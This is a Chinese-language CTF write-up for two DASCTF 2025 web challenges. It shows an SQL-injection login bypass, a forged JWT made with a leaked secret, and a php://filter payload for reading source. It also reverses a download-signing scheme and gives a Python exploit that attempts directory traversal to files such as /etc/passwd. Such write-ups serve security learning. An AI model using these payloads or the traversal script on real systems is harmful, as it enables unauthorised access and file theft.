DASCTF 2025下半年赛-Web部分WriteUp

DASCTF 2025下半年赛-Web部分WriteUp

lzz0403

我们是冠军!
img

SecretPhotoGallery

1
2
3
用户名:admin
密码:-1' union select 1,2,3 --+
绕过登录进入

然后查看源码发现注释1,应该是jwt密钥 GALLERY2024SECRET

img

然后得到admin访问 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjQ5OTIyNTR9.bCHvNXksavEel3wGMknzge7Erwp0PySoVx_UpLQnSKs

img

利用base64 filter发现被ban,使用

1
php://filter/read=convert.iconv.utf8.utf16/resource=flag.php

得到flag

img

devweb

Gemini 3 pro一把梭哈

信息收集

首先访问题目链接,发现是一个基于 Vite 构建的前端应用。

通过查看页面源代码或网络请求,我们下载了主 JS 文件 assets/index-BgDOi0T5.js 进行分析。

关键发现

  1. RSA 公钥与登录逻辑: 在 JS 文件中发现了硬编码的 RSA 公钥。登录逻辑是将密码使用 RSA 加密后发送到后端。
1
2
3
4
// JS 中发现的公钥(格式化后)
-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE=
-----END PUBLIC KEY-----
  1. 路由与敏感接口: 通过搜索 dashboarddownload 等关键字,在 JS 中发现了一个文件下载功能的组件定义:
1
2
3
4
5
6
7
8
9
10
11
12
13
const Fd = {
data() {
return {
fileList: [{ name: "app.jmx" }, { name: "index.html" }]
}
},
methods: {
downloadFile(t) {
// 关键逻辑:下载请求带有 sign 参数
window.location.href = `/download?file=${t.name}&sign=6f742c2e79030435b7edc1d79b8678f6`
}
}
}

漏洞利用

步骤 1:弱口令登录(非必须但有助于理解)

编写脚本使用 RSA 公钥加密密码,尝试常用弱口令。发现 admin / 123456 可以成功登录,服务器返回 302 跳转到 /dashboard。 虽然访问 /dashboard 返回 404,但我们在 JS 中发现的下载接口 /download 不需要登录态(或者我们已经获得了 Session,但其实这题的核心在于签名绕过)。

步骤 2:获取并分析 app.jmx

JS 代码中泄露了一个合法的文件名和签名组合:

  • File: app.jmx
  • Sign: 6f742c2e79030435b7edc1d79b8678f6

我们直接访问 http://target/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6 下载该文件。

打开 app.jmx (JMeter 测试计划文件),在其中发现了一段 Groovy 脚本,揭示了签名的生成算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
<hashTree>
<TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
<stringProp name="TestPlan.functional_mode">false</stringProp>
<boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
<elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
<stringProp name="Argument.name">mingWen</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
<stringProp name="Argument.name">salt</stringProp>
<stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="TestPlan.comments_or_notes"/>
<boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
</TestPlan>
<hashTree>
<ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
<stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
<elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
<boolProp name="LoopController.continue_forever">false</boolProp>
<intProp name="LoopController.loops">1</intProp>
</elementProp>
<stringProp name="ThreadGroup.num_threads">1</stringProp>
<stringProp name="ThreadGroup.ramp_time">1</stringProp>
<longProp name="ThreadGroup.start_time">0</longProp>
<longProp name="ThreadGroup.end_time">0</longProp>
<boolProp name="ThreadGroup.scheduler">false</boolProp>
<stringProp name="ThreadGroup.duration"></stringProp>
<stringProp name="ThreadGroup.delay"></stringProp>
<boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
</ThreadGroup>
<hashTree>
<JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
<stringProp name="JSR223PreProcessor.language">groovy</stringProp>
<stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
<stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
<stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
<stringProp name="JSR223PreProcessor.script">
def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);
vars.put('sign', sign);
</stringProp>
</JSR223PreProcessor>
<hashTree/>
<HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
<boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
<stringProp name="Comment"/>
<elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
<stringProp name="Argument.name">file</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
<stringProp name="Argument.name">sign</stringProp>
<stringProp name="Argument.value">${sign}</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="HTTPSampler.domain">localhost</stringProp>
<stringProp name="HTTPSampler.port">8080</stringProp>
<stringProp name="HTTPSampler.protocol">http</stringProp>
<stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
<stringProp name="HTTPSampler.path">/download</stringProp>
<stringProp name="HTTPSampler.method">GET</stringProp>
<boolProp name="HTTPSampler.follow_redirects">true</boolProp>
<boolProp name="HTTPSampler.auto_redirects">false</boolProp>
<boolProp name="HTTPSampler.use_keepalive">true</boolProp>
<boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
<stringProp name="HTTPSampler.body_data"/>
<boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
<stringProp name="HTTPSampler.proxy_host"/>
<stringProp name="HTTPSampler.proxy_port"/>
<stringProp name="HTTPSampler.proxy_username"/>
<stringProp name="HTTPSampler.proxy_password"/>
<stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
</HTTPSamplerProxy>
<hashTree/>
</hashTree>
</hashTree>
</hashTree>
</jmeterTestPlan>

步骤 3:重构签名算法与任意文件读取

根据上述逻辑,我们可以编写 Python 脚本来生成任意文件名的签名。

签名算法 (Python 实现):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib

def calculate_sign(filename):
salt = "f9bc855c9df15ba7602945fb939deefc"

# 1. 计算文件名的 MD5
first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()

# 2. 截取子串 (对应 Java 的 substring(5, 16))
# Python 切片是 [start:end],所以是 [5:16]
jie_str = first_mi[5:16]

# 3. 拼接:MD5 + 子串 + 盐
new_str = first_mi + jie_str + salt

# 4. 最终签名
sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
return sign

步骤 4:获取 Flag

利用签名生成脚本,我们尝试目录穿越读取 Flag。

尝试 Payload: ../../flag

  1. 计算 ../../flag 的签名。
  2. 发送请求: /download?file=../../flag&sign=YOUR_CALCULATED_SIGN

响应内容:

DASCTF{21a8d433-4689-4e8e-9818-9ae50d48243a}}

img

Gemini 3 pro给的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
import requests
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from urllib.parse import quote

# 加载公钥
with open('public.pem', 'r') as f:
key_data = f.read()
public_key = RSA.importKey(key_data)
cipher = PKCS1_v1_5.new(public_key)

def encrypt_password(password):
# RSA 加密
ciphertext = cipher.encrypt(password.encode('utf-8'))
# 转 Base64
return base64.b64encode(ciphertext).decode('utf-8')

def try_login(username, password_plaintext):
url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login'
encrypted_pass = encrypt_password(password_plaintext)

# 构造 payload
# 注意 requests 的 data 参数如果是字典,会自动 urlencode
data = {
'username': username,
'password': encrypted_pass
}

try:
response = requests.post(url, data=data, allow_redirects=False)
location = response.headers.get('Location', 'No Location')
print(f"User: {username}, Pass: {password_plaintext} -> Status: {response.status_code}, Loc: {location}")
if response.status_code != 200 and response.status_code != 302:
print(f"Response: {response.text[:200]}")
if "flag" in response.text or "DASCTF" in response.text:
print(f"POSSIBLE FLAG FOUND: {response.text}")
return response
except Exception as e:
print(f"Error: {e}")

# 测试用例
credentials = [
('admin', 'admin'),
('admin', '123456'),
('root', 'root'),
('guest', 'guest'),
('test', 'test')
]

print("Testing common credentials...")
for u, p in credentials:
try_login(u, p)

print("\n--- Exploiting ---")
# 创建 session 保持 cookie
s = requests.Session()

url_login = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login'
password_plaintext = '123456'
encrypted_pass = encrypt_password(password_plaintext)
data = {
'username': 'admin',
'password': encrypted_pass
}

# 登录
response = s.post(url_login, data=data, allow_redirects=False)
print(f"Login Status: {response.status_code}")
print(f"Location: {response.headers.get('Location')}")
print(f"Cookies: {s.cookies.get_dict()}")

# 如果有 Location,提取并访问
if 'Location' in response.headers:
# Location 返回的是 http://...:80/... 我们需要改成 :81
# 或者直接提取路径
loc = response.headers['Location']
# 修正端口问题,如果 Location 里端口丢了或者不对
if ':81' not in loc and 'buuoj.cn' in loc:
loc = loc.replace('buuoj.cn', 'buuoj.cn:81')

print(f"Accessing: {loc}")
dashboard_response = s.get(loc)
print(f"Dashboard Status: {dashboard_response.status_code}")
print(f"Dashboard Content Preview: {dashboard_response.text[:500]}")

if "flag" in dashboard_response.text or "DASCTF" in dashboard_response.text:
print(f"FLAG FOUND IN DASHBOARD: {dashboard_response.text}")

import hashlib

def calculate_sign(filename):
salt = "f9bc855c9df15ba7602945fb939deefc"

# firstMi = md5(filename)
first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()

# jieStr = firstMi.substring(5, 16)
# Java substring(5, 16) -> indices 5 to 15
jie_str = first_mi[5:16]

# newStr = firstMi + jieStr + salt
new_str = first_mi + jie_str + salt

# sign = md5(newStr)
sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()

return sign

# 验证 app.jmx 的签名
expected_sign = "6f742c2e79030435b7edc1d79b8678f6"
calculated_sign = calculate_sign("app.jmx")
print(f"\n--- Sign Verification ---")
print(f"File: app.jmx")
print(f"Expected: {expected_sign}")
print(f"Calculated: {calculated_sign}")

if expected_sign == calculated_sign:
print("Sign algorithm verified!")
else:
print("Sign algorithm mismatch! Check logic.")

def download_file(filename):
print(f"\nAttempting to download {filename}...")
sign = calculate_sign(filename)
download_url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/download'
params = {
'file': filename,
'sign': sign
}
try:
# 使用 session
file_resp = s.get(download_url, params=params)
print(f"Download Status: {file_resp.status_code}")
if file_resp.status_code == 200:
print(f"Content Preview:\n{file_resp.text[:500]}")
if "DASCTF" in file_resp.text or "flag{" in file_resp.text:
print(f"FLAG FOUND: {file_resp.text}")
return True
else:
print(f"Download failed: {file_resp.text}")
return False
except Exception as e:
print(f"Download error: {e}")
return False

# 尝试下载 flag
if expected_sign == calculated_sign:
targets = [
"flag",
"/flag",
"../flag",
"../../flag",
"../../../flag",
"../../../../flag",
"../../../../../../flag",
"/etc/passwd",
"c:/windows/win.ini" # 如果是 Windows
]

for t in targets:
if download_file(t):
break
  • Title: DASCTF 2025下半年赛-Web部分WriteUp
  • Author: lzz0403
  • Created at : 2025-12-08 00:00:00
  • Updated at : 2026-05-03 12:19:02
  • Link: https://www.cnup.top/2025/12/08/DASCTF 2025下半年赛-Web部分WriteUp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
DASCTF 2025下半年赛-Web部分WriteUp